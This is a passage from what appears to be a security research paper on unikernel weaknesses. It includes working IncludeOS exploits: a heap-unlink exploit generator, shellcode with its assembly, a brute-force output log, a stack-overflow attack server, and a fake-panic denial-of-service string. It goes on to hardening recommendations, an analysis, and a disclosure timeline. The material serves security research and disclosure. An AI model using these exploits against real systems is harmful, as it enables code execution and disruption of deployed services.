31 EIGHT_BYTE_NOP = 0x0000000000841f0f # see <deregister_tm_clones-0x8> in objdump

32 CHUNK1_SIZE_INITIAL_GUESS = 0x40

33 HANDLER_ADDR_INITIAL_GUESS = 0xbfe700 # near the known PH addr, for demo purposes

34

35 def generate_exploit(chunk1_size, panic_handler_addr):

36 # free() appears to always consolidate forwards. We need to give this

37 # chunk1 header/footer a valid set of values so unlink does not crash.

38 chunk2_hdr = Chunk(0x20, 0x28, EIGHT_BYTE_NOP, EIGHT_BYTE_NOP)

39 fake_prev_chunk_hdr = Chunk(0x0, 0x0, panic_handler_addr - 0x18, EARLY_WRITABLE_TEXT_ADDR)

40 fake_next_chunk_hdr = Chunk(0x0, 0x0, EARLY_WRITABLE_TEXT_ADDR - 0x18, EXEC_STUB_SHELLCODE)

41

42 atk_str = 'AA'*(chunk1_size - HDRSIZE) # Pad to end of chunk 1

43 atk_str += str(fake_prev_chunk_hdr) # Fake prev chunk header

44 atk_str += str(chunk2_hdr) # Fake chunk2 header

45

46 # Instruction to jump over next header (execution starts from here) plus some padding to 8 bytes

47 atk_str += 'eb26' + 'BB'*6

48 # Fake next chunk header

49 atk_str += str(fake_next_chunk_hdr)

50 # Return raw bytes, not ASCII hex

51 return atk_str.decode('hex') + ''.join(list(map(lambda c: chr(c), SHELLCODE)))

Listing 69: unikernel-tests/includeos/src/4-heap-3-brute-force/exploitgenerator.py
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Starting up on 10.0.0.1 port 8080

Finding the distance to the next chunk header...

Size Max OK Min crash Result Increment

0x1 0x1 0xffffffffffffffffL ✔ +0x1

0x2 0x1 0xffffffffffffffffL ✔ +0x2

0x4 0x2 0xffffffffffffffffL ✔ +0x4

0x8 0x4 0xffffffffffffffffL ✔ +0x8

0x10 0x8 0xffffffffffffffffL ✔ +0x10

0x20 0x10 0xffffffffffffffffL ✔ +0x20

0x40 0x20 0xffffffffffffffffL ✔ +0x40

0x80 0x40 0xffffffffffffffffL ✔ +0x80

0x100 0x80 0xffffffffffffffffL ✘ -0x80

0x80 0x80 0x100 ✔ +0x1

0x81 0x80 0x100 ✔ +0x2

0x83 0x81 0x100 ✔ +0x4

0x87 0x83 0x100 ✔ +0x8

0x8f 0x87 0x100 ✔ +0x10

0x9f 0x8f 0x100 ✘ -0x10

0x8f 0x8f 0x9f ✔ +0x1

0x90 0x8f 0x9f ✔ +0x2

0x92 0x90 0x9f ✔ +0x4

0x96 0x92 0x9f ✔ +0x8

0x9e 0x96 0x9f ✘ -0x8

0x96 0x96 0x9e ✔ +0x1

0x97 0x96 0x9e ✔ +0x2

0x99 0x97 0x9e ✘ -0x2

0x97 0x97 0x99 ✔ +0x1

0x98 0x97 0x99 ✔ +0x2

0x9a 0x98 0x99 ✘ -0x2

Distance to the next chunk header: 0x90

Brute-forcing the panic handler address...

Address Result

0xc54ba0 ✘

0xc54ba8 ✘

0xc54bb0 ✘

0xc54bb8 ✘

0xc54bc0 ✘

0xc54bc8 ✘

0xc54bd0 ✘

0xc54bd8 ✘

0xc54be0 ✘

0xc54be8 ✘

0xc54bf0 ✘

0xc54bf8 ✘

0xc54c00 ✘

0xc54c08 ✘

0xc54c10 ✔

Panic handler address: 0xc54c10

Listing 70: Output of unikernel-tests/includeos/src/4-heap-3-brute-force/bruteforcer.py
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================================================================================

IncludeOS v0.11.0-bundle-dirty (x86_64 / 64-bit)

+--> Running [ IncludeOS minimal example ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

*** Waiting up to 5 sec. for DHCP... ***

[ Network ] Creating stack for VirtioNet on eth0

[ Inet4 ] Bringing up eth0 on CPU 0

[ Inet4 ] Negotiating DHCP...

[ Inet4 ] Network configured

IP: 10.0.2.15

Netmask: 255.255.255.0

Gateway: 10.0.2.2

DNS Server: 10.0.2.3

[ DHCPv4 ] Configuration complete (eth0)

Connecting to 10.0.0.1:8080...

Connected!

buf1 @ 0x11fb9f0: 129

buf2 @ 0x11fba90: 0

Connected!

buf1 @ 0x11fb8a0: 132

buf2 @ 0x11fb940: 3

Connected!

buf1 @ 0x11fb980: 140

buf2 @ 0x11fe5a0: 0

Connected!

buf1 @ 0x11ff9c0: 128

buf2 @ 0x11ffa60: 0

/* Omitted similar output. Eventually the following occurs... */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

General Protection Fault (13) EIP 0xc4d280

Error code: 0x1

**** CPU 0 PANIC: ****

General Protection Fault (13)

Heap is at: 0x1226000 / 0x7fdffff (diff=115056639)

Heap usage: 746 / 113106 Kb

[0] 0x0000000000a05ec0 + 0x0ea: panic

[1] 0x0000000000b101b0 + 0x088: void cpu_exception<13>(void**, unsigned int)

Paniced! Rebooting...

[ x86_nano ] Starting IncludeOS chainloader

[ chainload ] 32-bit chainloader found 1 modules

[ chainload ] Hotswapping with params: base: 0xe2f094, len: 2915912, dest: 0xa00000, start: 0xa02b20

================================================================================

IncludeOS v0.11.0-bundle-dirty (x86_64 / 64-bit)

+--> Running [ IncludeOS minimal example ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

/* Kernel has restarted. This occurs numerous times, until... */
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Connecting to 10.0.0.1:8080...

Connected!

buf1 @ 0x11fb9f0: 112

buf2 @ 0x11fba90: 3

/* omitted register information */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

General Protection Fault (13) EIP 0xa00300

Error code: 0xc54bf8

**** CPU 0 PANIC: ****

General Protection Fault (13)

Heap is at: 0x11fd000 / 0x7fdffff (diff=115224575)

Heap usage: 582 / 113106 Kb

[0] 0x0000000000a05ec0 + 0x0ea: panic

[1] 0x0000000000b101b0 + 0x088: void cpu_exception<13>(void**, unsigned int)

Hello, world!

/* omitted register information */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

Invalid Opcode (6) EIP 0x9fdb4e

**** CPU 0 PANIC: ****

Invalid Opcode (6)

Heap is at: 0x11fd000 / 0x7fdffff (diff=115224575)

Heap usage: 582 / 113106 Kb

/* omitted more panic output */

Listing 71: Output of unikernel-tests/includeos/src/4-heap-3-brute-force/service.cpp (exploited)

6.10.2 Instruction Overwrite via Stack Buffer Overflow

As noted in Section 6.4, IncludeOS’s section layout is unusual. The stack, which grows up, is at a very low

address, followed by program code in the text section, then static data, and finally the heap. The standard

layout for these sections is text, data, heap, stack. Since all of memory is RWX (see Section 6.5) and there are

no guard pages between sections, stack buffer overflows — if they write far enough — can directly overwrite

program instructions. This can lead instantly to code execution, and even if IncludeOS’s stack canaries

worked properly, they would be bypassed completely.

Listed next is a vulnerable TCP client, which attempts to connect to the given address and port, reads one

packet, and stores the contents in a too-small buffer. A Python script, atkserver.py, acts as the server.

The exploit code generation is found in a separate file, exploitgenerator.py. It produces shellcode starting

with the assembly below, followed by an arbitrary number of 8-byte sequences consisting of 6 nops followed

by a negative jmp. When such an 8-byte sequence writes over the current instruction, the reverse jump chain

is followed up to the start up the buffer, where the main exploit shellcode is located. For demonstration

purposes, the exploit simply calls kprintf() (the address of which is assumed known) to print the string

Hello, world!, and lastly causes a panic via a ud2 instruction.
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1 #include <os>

2 #include <net/inet4>

3

4 void connectTo(net::ip4::Addr addr, int port);

5 void startClient(const std::string& args);

6

7 void Service::start(const std::string& args) {

8 printf("*** Waiting up to 5 sec. for DHCP... ***\n");

9 net::Inet4::ifconfig(5.0, [=](bool timeout) {

10 if (timeout) {

11 printf("*** Falling back to static network config ***\n");

12 net::Inet4::stack().network_config(

13 { 10,0,0,10 }, // IP

14 { 255,255,255,0 }, // Netmask

15 { 10,0,0,1 }, // Gateway

16 { 8,8,4,4 }); // DNS

17 }

18 startClient(args);

19 });

20 }

21

22 void connectTo(net::ip4::Addr addr, int port) {

23 auto& inet = net::Inet4::stack<0>();

24 net::Socket remote(net::ip4::Addr(addr), port);

25

26 auto connectionCallback = [](net::tcp::Connection_ptr conn) {

27 printf("Connected!\n");

28

29 conn->on_read(0x2000, [=](net::tcp::buffer_t buffer, size_t n) {

30 char buf1[32];

31 printf("buf1 @ %p: 0x%llx\n", &buf1, n);

32 memcpy(buf1, buffer.get(), n);

33 });

34 };

35 inet.tcp().connect(remote, connectionCallback);

36 }

37

38 void startClient(const std::string& args) {

39 // Set up a TCP client

40 size_t firstSpacePos = args.find(' ');

41 size_t secondSpacePos = args.find(' ', firstSpacePos+1);

42 static std::string remoteAddr = args.substr(firstSpacePos+1, secondSpacePos - firstSpacePos - 1);

43 static std::string remotePort = args.substr(secondSpacePos+1, args.size() - secondSpacePos - 1);

44

45 if (remoteAddr.size() == 0) remoteAddr = "10.0.0.1";

46 if (remotePort.size() == 0) remotePort = "8080";

47

48 printf("Connecting to %s:%s...\n", remoteAddr.c_str(), remotePort.c_str());

49 connectTo(remoteAddr, std::stoi(remotePort));

50 }

Listing 72: unikernel-tests/includeos/src/5-misc-5-stack-of-dyn/service.cpp
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1 #! /usr/bin/env python

2

3 import sys, os, select, socket

4 from exploitgenerator import generate_exploit

5

6 HOST = '10.0.0.1' if (len(sys.argv) < 2) else sys.argv[1]

7 PORT = 8080 if (len(sys.argv) < 3) else int(sys.argv[2])

8

9 def listen(port):

10 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

11 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

12 server_address = (HOST, port)

13 print 'Starting up on %s port %s' % server_address

14 sock.bind(server_address)

15 sock.listen(1)

16

17 # The optimal size may be different for different targets

18 # Try not to overwrite more program code than we need!

19 atk_str = generate_exploit(0xc80)

20

21 connection, client_address = sock.accept()

22 connection.sendall(atk_str)

23

24 if __name__ == '__main__':

25 listen(PORT)

Listing 73: unikernel-tests/includeos/src/5-misc-5-stack-of-dyn/atkserver.py

1 NOP_JMP = [ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x86 ] # 6x nop + jmp -0x78

2 SHELLCODE = [ 0x48, 0x8d, 0x1d, 0xff, 0xff, 0xff, 0xff, 0xeb, 0x0e, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c,

3 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x21, 0x0a, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x89, 0xdf, 0x48,

4 0x83, 0xc7, 0x03, 0x48, 0x31, 0xc9, 0x88, 0x4f, 0x0e, 0x48, 0x31, 0xc0, 0xba, 0xf0, 0xb6, 0xb0, 0xff,

5 0xc1, 0xe2, 0x08, 0xc1, 0xea, 0x08, 0xff, 0xd2, 0x0f, 0x0b, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

6 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

7 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

8 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

9 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

10 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

11 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

12 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

13 0x90, 0x90, 0xe9, 0x40, 0xff, 0xff, 0xff ]

14

15 def generate_exploit(desired_length):

16 atk_str = SHELLCODE

17 length = len(atk_str)

18 while length < desired_length:

19 print hex(length), hex(desired_length)

20 atk_str += NOP_JMP

21 length += 8

22 chars = list(map(lambda x: chr(x), atk_str))

23 return ''.join(chars)

Listing 74: unikernel-tests/includeos/src/5-misc-5-stack-of-dyn/exploitgenerator.py
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1 _start:

2 db 0x48,0x8d,0x1d,0xff,0xff,0xff,0xff

3 db 0xeb,0xe

4 db 'Hello, world!',0x0a

5 nop

6 nop

7 nop

8 nop

9 nop

10 get_message_addr:

11 mov rdi,rbx

12 add rdi,0x3

13

14 xor rcx,rcx

15 mov byte [rdi+0xe],cl

16

17 ; Call kprintf. Hardcoded for demo purposes; could scan in practice.

18 xor rax,rax

19 mov edx, 0xffb0b6f0

20 shl edx, 0x8

21 shr edx, 0x8

22 call rdx

23 ud2

24

25 ; 128 nops to ensure that the reverse jumps end in the jmp below

26 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

27 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

28 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

29 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

30 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

31 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

32 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

33 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

34 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

35 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

36 db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

37

38 jmp _start

Listing 75: Assembly corresponding to the main exploit SHELLCODE variable from the previous page
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*** Waiting up to 5 sec. for DHCP... ***

[ Network ] Creating stack for VirtioNet on eth0

[ Inet4 ] Bringing up eth0 on CPU 0

[ Inet4 ] Negotiating DHCP...

[ Inet4 ] Network configured

IP: 10.0.2.15

Netmask: 255.255.255.0

Gateway: 10.0.2.2

DNS Server: 10.0.2.3

[ DHCPv4 ] Configuration complete (eth0)

Connecting to 10.0.0.1:8080...

Connected!

buf1 @ 0x9ffbd0: 0xc79

Hello, world!

/* omitted register info */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

Invalid Opcode (6) EIP 0x9fdbbe

**** CPU 0 PANIC: ****

Invalid Opcode (6)

Heap is at: 0x11fd000 / 0x7fdffff (diff=115224575)

Heap usage: 585 / 113109 Kb

[0] 0x0000000000a05ca0 + 0x0ea: panic

[1] 0x0000000000b0fad0 + 0x074: void cpu_exception<6>(void**, unsigned int)

[2] 0x00000000009ffc14 + 0x000: 0x9ffc14

[3] 0x9090909090909090 + 0x000: 0x9090909090909090

/* omitted register info */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

General Protection Fault (13) EIP 0x9f9993

Error code: 0x9f967c

**** CPU 0 PANIC: ****

General Protection Fault (13)

Heap is at: 0x11fd000 / 0x7fdffff (diff=115224575)

Heap usage: 585 / 113109 Kb

[0] 0x0000000000a05ca0 + 0x0ea: panic

[1] 0x0000000000b0fea0 + 0x088: void cpu_exception<13>(void**, unsigned int)

Listing 76: Output of unikernel-tests/includeos/src/5-misc-5-stack-of-dyn/service.cpp (exploited)
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6.10.3 Denial-of-Service via vmrunner

IncludeOS’s boot utility allows users to quickly build and run images with little need for configuration; as

such, it is the recommended method for launching IncludeOS services. boot, a Python script, internally

builds and manages virtual machines via the vmrunnermodule, which, by default, is configured to respond

to certain kernel events such as shutdowns and panics. Custom event handlers can also be registered to be

called whenever the VM outputs a line matching a given regular expression.

As it turns out, the panic and shutdown handlers are actually just specific cases of the regex-match functional-

ity. If a line contains PANIC, vmrunner._on_panic() is called, and if it contains SUCCESS, vmrunner._on_success()

is called. vmrunner allows users to register callbacks for these two events, but they are called in addition to

the default functions and do not replace them. When registering a custom success callback via vmrunner.o

n_panic(callback, do_exit=False), the second argument allows the user to specify that the VM should not

exit on success — indeed, the boot utility does precisely this. However, no such option exists for panics.

_on_panic() is aliased to panic(), which attempts to read one more line (the panic reason), then buffers the

remaining VM output until the first EOT (0x04) character, then prints each line in the buffer, and finally stops

the VM.

def read_until_EOT(self):

chars = ""

while (not self._proc.poll()):

char = self._proc.stdout.read(1)

if char == chr(4):

return chars

chars += char

return chars

# Default panic event

def panic(self, panic_line):

panic_reason = self._hyper.readline()

info("VM signalled PANIC. Reading until EOT (", hex(ord(EOT)), ")")

print color.VM(panic_reason),

remaining_output = self._hyper.read_until_EOT()

for line in remaining_output.split("\n"):

print color.VM(line)

Listing 77: An abbreviated version of panic() as found in vmrunner/vmrunner.py

If an attacker can cause a string including \n and \x04 to be outputted to the VM console (e.g. due to server

logging), the above behavior can be exploited to fake a panic, causing vmrunner to kill the VM. The exploit

string only needs to contain the elements PANIC,\n,\n,\x04 in that order; any number of other characters

may also be present. A simple example, and the resulting output, are shown below.

If the attacker is unable to cause the VM to output newlines or EOT characters, a line merely containing the

string PANIC is sufficient to stop vmrunner from printing any further output, although it will not kill the VM.

As shown in the code above, after receiving a line containing PANIC, vmrunner will buffer indefinitely without

printing — at least until the application itself outputs an EOT character on shutdown or panic. This may be

useful in cases where attackers wish to hide the VM’s output.
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1 #include <service>

2 #include <cstdio>

3

4 void Service::start(const std::string& args) {

5 printf("aaaPANICaaa\n");

6 printf("reason\n");

7 printf("will print\x04");

8 printf("will not print\n");

9 }

Listing 78: unikernel-tests/includeos/src/5-misc-2-panic/service.cpp

aaaPANICaaa

* <VMRunner>: VM signalled PANIC. Reading until EOT ( 0x4 )

reason

will print

* <VMRunner>: Stopping test PID 14844 with -SIGTERM

* <VMRunner>: + child process 14845

* <VMRunner>: Exit called with status 67 ( VM_PANIC )

* <VMRunner>: Message: reason

Keep running: False

* <VMRunner>: Calling on_exit

* <VMRunner>: Program exit called with status 67 ( VM_PANIC )

* <VMRunner>: Stopping all vms

[ VM_PANIC ] reason

6.10.4 Changes in Later Commits

In the commit we tested (39c29bb), the panic signature string being searched for was simply "PANIC". Just

as we finished testing, a new commit (e774dda) was pushed that changed the string to "\x15\x07\t****PAN

IC****". This does not change the exploitability of this functionality.

6.10.5 A Note on Networking

IncludeOS implements its network stack on top of Virtio’s virtio-net paravirtualized network interface.

Given the evented nature of IncludeOS’s networking APIs, it may be simpler to perform networking op-

erations by directly interacting with the PCI interface over memory-mapped I/O than to invoke IncludeOS’s

networking APIs directly from shellcode. Due to time constraints, we did not fully implement a network-

based shellcode loader for IncludeOS aswedid for Rumprun, but wewere able to invoke theAPIs sufficiently

to perform a basic TCP handshake.
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6.11 Recommendations

Based on our experimental results, we recommend that IncludeOS’s developers take the following mea-

sures. Further explanations of the technical features involved can be found in each issue’s respective section.

• Use the standard section layout of text, data, heap, stack. The stack and the heap should grow directly

towards one another. Place guard pages between all major sections.

• Implement runtime ASLR for the base addresses of .text, .data, the heap, and the stack. Ensure that en-

tropy is sufficient to inhibit attacks, and audit internal interfaces to reduce location leaks. (See Section 6.4.)

• Enforce a W^Xmemory policy across all program memory, i.e. ensure that pages can never be simultane-

ously writable and executable. The null page should be neither. (See Section 6.5.)

• Implement the features necessary for the stack guard value to be copied to thread-local storage. Wewere

unable to determine precisely what component it is whose absence causes the canaries to be null; most

likely, the issue is a result of IncludeOS lacking thread support. (See Section 6.6.)

• Make either the first or the second byte of the canary array unconditionally null. Both options provide a

similar level of security, although they result in different tradeoffs, though the second byte is generally

preferable in most situations. (See Section 6.6.)

• Ensure the stack andheapmaynot grow into one another. Place a 1MBguardpagebetween the twomem-

ory regions. To prevent large stack allocations hopping the guard page, the compiler must also support

stack probing, which ensures that each page of a large stack allocation is touched to force potential guard

page faults. With proper compiler support, libc implementations that unconditionally use builtins (e.g.

__builtin_alloca()) to perform stack allocations will use the compiler’s stack probing implementation.

Google’s Bionic is one such implementation. [Gooa] Stack probing may be enabled in GCC with the

-fstack-clash-protection flag. [Proe]

Note: Clang does not currently support the -fstack-clash-protection flag. However, in LLVM, this

feature may be enabled on a per-function basis with the probe-stack attribute, a feature recently added

by Rust’s developers. [Inf, Rus]

• Include a canary value at the start of heap chunks. At runtime, generate a cryptographically secure value

for the heap canary. (See Section 6.7.)

• Reimplement the heap allocator using methods that guarantee unpredictable allocations. Additionally,

ensure that recently freed chunks may not be easily reused to yield deterministic allocations. (See Sec-

tion 6.7.)

• Consider replacing theheapallocatorwith aperformant security- hardenedone such asBlink’s PartitionAlloc

or its further hardened fork by Chris Rohlf. [Goob, Roh] (See Section 6.7.)

• Consider using RDSEED to seed the SHAKE128 RNG or using RDRAND directly as the CSPRNG itself.

• Implement the C standard library with something other than Red Hat’s newlib, which has virtually no

security measures. Consider using Android’s implementation of the BSD libc, Bionic, which contains

some security hardening over the standard libc, including disabling the %n format string specifier and

supporting _FORTIFY_SOURCE. [Gooa] (See Section 6.9.)

• Use an out-of-band method to signal panics to vmrunner. Do not rely on grepping for particular console

output. (See Section 6.10.3.)
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7 Summary of Results

7.1 Rumprun

7.1.1 Security Standing

• ASLR is not implemented. PIE is manually disabled; code is not position independent.

• Binaries are generated completely deterministically from source code; the same source will always pro-

duce the same memory layout.

• W^X policy is not enforced consistently.

– The stack, heap, and static data are RWX.

– Program code is not writable, and the null page does not have write, read, or execute permissions.

• Stack canaries are either nonexistent or null.

– Canaries are disabled in the kernel itself.

– Application codemay have canaries, but they will always be null due to issues with thread-local storage.

• Heap integrity checks are minimal, inconsistently applied, and easily circumvented.

– Chunk and page headers have canaries, but they are preprocessor-defined constants.

– All other validated heap metadata can be spoofed if the chunk size is known to the nearest power of 2.

• The C standard library is implemented using NetBSD’s libc.

– The %n format specifier is supported.

– Custom format specifiers are not supported.

– _FORTIFY_SOURCE is supported, but disabled by Rumprun’s build scripts.

• Included functionality is very large by default.

– Using any of the default rumprun-bake configurations, a large amount of unnecessary libraries will be

linked in, primarily concerning filesystems, networking, and memory management.

• Syscalls exist and can be invoked, albeit via a function rather than an interrupt.

– The syscall function begins with a long, unique string of bytes that does not differ across binaries.

Shellcode can easily scan for it.

7.1.2 Exploitability

• Memory corruption vulnerabilities (e.g. stack and heap overflows) can lead to code execution in a variety

of scenarios.

– Stack overflows may require the attacker to write null bytes.

– The attacker must have some idea of the memory layout in order to overwrite a function pointer and

gain code execution.

◦ The syscall table is generally a reliable target.

• Given the binary or the source, the memory layout can be known precisely.

– Because there is no ASLR, attackers who do not know the memory layout can brute-force the locations

of useful function pointers, even if the target crashes as a result of a failed attempt.
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7.2 IncludeOS

7.2.1 Security Standing

• ASLR is not implemented.

• Binaries are generated completely deterministically from source code; the same source will always pro-

duce the same memory layout.

• W^X policy is not enforced at all.

– All of memory is RWX.

• Stack canaries are present in all kernel and application functions, but are always null due to issues with

thread-local storage.

– The intended canary values are preprocessor defines, generatedbyCMake’s cryptographically-insecure

STRING(RANDOM ...) command.

– All images built against the same kernel build will have the same canary.

– Stack overflows can overwrite program code, rendering stack canaries completely ineffective.

– The stack canary (in the most recent version at the time of writing) will generally contain no null bytes.

• Heap integrity checks are not performed at all.

– Heap chunk headers do not have canaries.

– Linked list pointers are not validated when freeed.

• The C standard library is implemented using Red Hat’s newlib, which is targeted at embedded devices.

– The %n format specifier is supported.

– Custom format specifiers are not supported.

– _FORTIFY_SOURCE is not supported.

– Security measures in general are minimal or nonexistent.

• Included functionality is small by default.

– IncludeOS’s example CMake files do not include any extra libraries, drivers or plugins.

7.2.2 Exploitability

• Memory corruption vulnerabilities (e.g. stack and heap overflows) can lead to code execution in almost

all cases.

– Stack overflows can directly overwrite program instructions.

– Heap overflows can be used to write two pointers when a chunk is freed.

◦ The OS panic handler is generally the best target (see Section 6.7.2)

• Given the binary or the source, the memory layout can be known precisely.

– Because there is no ASLR, attackers who do not know the memory layout can brute-force the location

of the panic handler, even if the target crashes as a result of a failed attempt. (See Section 6.10.1)
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8 Analysis

We initially suspected that unikernels, in their quest for minimalism, might cut corners on some security

features in exchange for greater performance or reduced size. This was certainly true to some extent, par-

ticularly as evidenced by IncludeOS use of Red Hat’s newlib, a C standard library implementation targeted

at embedded devices. This explanation, however, is not even remotely adequate to explain our findings

— almost none of the protections that we checked for were implemented in either Rumprun or IncludeOS.

Indeed, the truth probably lies closer to the second point of our hypothesis: that unikernel developers as

a whole do not properly understand the burden they have placed upon themselves by mixing kernel and

userspace code, leaving wide open a multitude of gaps in unikernels’ defenses.

When writing a userspace application for a full-featured operating system, one does not need to worry

about features like ASLR,memorymappings, and page permissions. These and other such low-level security

features are performed by the kernel and loader well before main() is ever called. Furthermore, when the

application is run, it will be allotted its own virtual memory space; it will not be able to directly access the

memory of other applications or of the kernel. Privilegedoperations such as disk or network access generally

must be performed through syscalls, which request that the kernel perform some operation on behalf of an-

other process; such requests can, of course, bedenied. In short, full-featuredoperating systems have various

ways of making applications harder to successfully exploit, and even if an application is compromised, its

ability to perform dangerous operations is limited by a privilege model.

Unikernels, on the other hand, typically link vanilla userspace binaries together with a kernel and run the

result as a single process, with everything in ring 0. As such, a great many of the aforementioned defenses

are difficult or impossible to implement, and a unikernel must monolithically perform an enormous amount

of tasks to ensure its own security. Since the application is the kernel and exists in the same address space,

privilege separation is impractical; dangerous kernel functionality can be invoked from application code.

Furthermore, this single process is responsible for setting up its own low-level memory defenses: ASLR,

page permissions, guard pages, and so on. If it provides a syscall API, as Rumprun does, it is responsible

for ensuring security on both ends of the syscall implementation, the caller and the callee. This includes

ensuring, for instance, that dynamically-generated syscall tables are not writable. Many unikernels (Rumprun

again being an example) provide their own build toolchain for application code, meaning that developers

will have to concern themselves with compiler-level security as well, most notably setup of the stack canary

and other buffer overflow protections.

Given the subtlety and complexity involved in all these features, it is in retrospect unsurprising that Rumprun

and IncludeOS both failed to implement the vast majority of them. There were three major types of failure;

in rough order of frequency: oversight, intentional omission, and genuine bugs.

Oversight was far and away the most common issue. Many of the security measures we checked for —

chiefly ASLR, W^X page permissions, and heap integrity checks — simply were not present, and in most cases

there was no evidence to suggest that implementation had even been attempted. The state of memory

protection in the two unikernels provides a representative example. IncludeOS explicitly gives every page

RWX permissions when the page table is initialized; the kernel never calls mprotect later on to secure sensitive

pages such as the one holding the panic handler function pointer. Rumprun makes the text section non-

writable and secures the null page, but upon further inspection, this is actually done by the NetBSD code

on which it is based; again, mprotect is never called in the source code of Rumprun itself. Perhaps the

most embarrassing example of this trend is IncludeOS, which, although claimed by its CEO to be built with

‘‘security in mind,’’ uses newlib, a Red Hat C standard library implementation with literally no hardening

features whatsoever, retaining vulnerabilities known since the early 2000s. Overall, what half-hearted at-

tempts at security do exist are almost entirely a coincidence of the code on which they were based, the

standard library implementations they use, and the compilers used to build them. Furthermore, it is clear

87 | Assessing Unikernel Security NCC Group



that the two unikernels’ third-party library choices were not made with security as a primary concern, and

additionally, unikernel-implemented replacements for functionality that those libraries otherwise provided

are less secure than the things they replace. This suggests that the developers probably did not realize that it

was their responsibility to implement the aforementioned security features, and possibly did not even know

about said features.

Other security features were explicitly disabled by the developers, presumably to make implementation

easier. Rumprun’s build toolchain, for instance, sets the -fno-stack-protector, --no-pie, and -D_FORTIFY_-

SOURCE=0 flags, disabling stack canaries, position-independent code, and standard library hardening, re-

spectively. This was most likely done with at least some knowledge of what these flags do, and suggests a

systematic lack of attention to basic security practices.

Finally, a few flaws arose due to existing security features’ interaction with unikernel-specific quirks. Most

notably, the stack canaries on both Rumprun and IncludeOS were always null, as the compiler expected the

guard value to be present in thread-local storage, but neither system supported threads. This serves as a

good example of compiler-level security falling within the purview of unikernel development. This kind of

bug is subtle, and it would be understandable if a typical developer overlooked it — but it is not unreasonable

to expect that those writing a kernel would be more knowledgeable, or would at least use a debugger to

verify the correctness of the security feature as implemented.

In short, by flattening the entire security stack into one monolithic project, unikernel developers seem to

have inadvertently saddled themselves with far more security responsibility than they are qualified to deal

with, or even aware of. As a result, it should be expected that any unikernel will likely feature large gaps in

defenses at all levels of the software stack, and come to resemble bare-metal embedded platforms, which

are known for their pervasive security troubles.
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9 Disclosure

Following the initial assessments of Rumprun and IncludeOS,NCCGroup attempted to contact both projects

in August 2017 to disclose the vulnerabilities and weaknesses discovered. This section covers disclosure

timelines and interactions with each project.

9.1 Rumprun

NCC Group initially contacted the main developer of the Rumprun project and NetBSD rump kernels, Antti

Kantee, indicating that we had identified several security issues, and that we sought to establish a means

of secure communication to disclose them. The developer responded that they no longer maintained the

project to the level of fixing security issues and that they did not know who did, linking to a ”rumpkernel-

users” mailing list thread fromOctober 2016 wherein they announced that they were no longer in a capacity

to maintain the codebase. [Kanb] Following this, NCC Group then made several attempts to contact the

second most frequent Rumprun contributor, Ian Jackson, but never received a reply.

After a hiatus, NCC Group resumed the research into Rumprun in mid-2018, identifying further issues than

those initially identified prior to initial disclosure attempts. After presenting our research at ToorCon XX

San Diego in September 2018,[MD] we decided to develop our own patches to remediate the issues we

had identified in 2017 and 2018 with the intention to upstream them where possible and host rejected

hardening patches — such as those that may adversely affect performance — in a separate repository. These

patches are discussed in Section 10.1 on page 92.

In early December 2018, we were contacted by a NetBSD developer, Christoph Badura, in relation to our

previous attempts to identify a security contact. We are currently working with him to refactor our patches

into a form amenable to being upstreamed into the NetBSD rump kernel codebase itself, where applicable.

9.2 IncludeOS

NCC Group initially contacted the the listed creator of IncludeOS, Alfred Bratterud, explaining that we had

identified several security issues and asking for a preferred means of secure communication to disclose

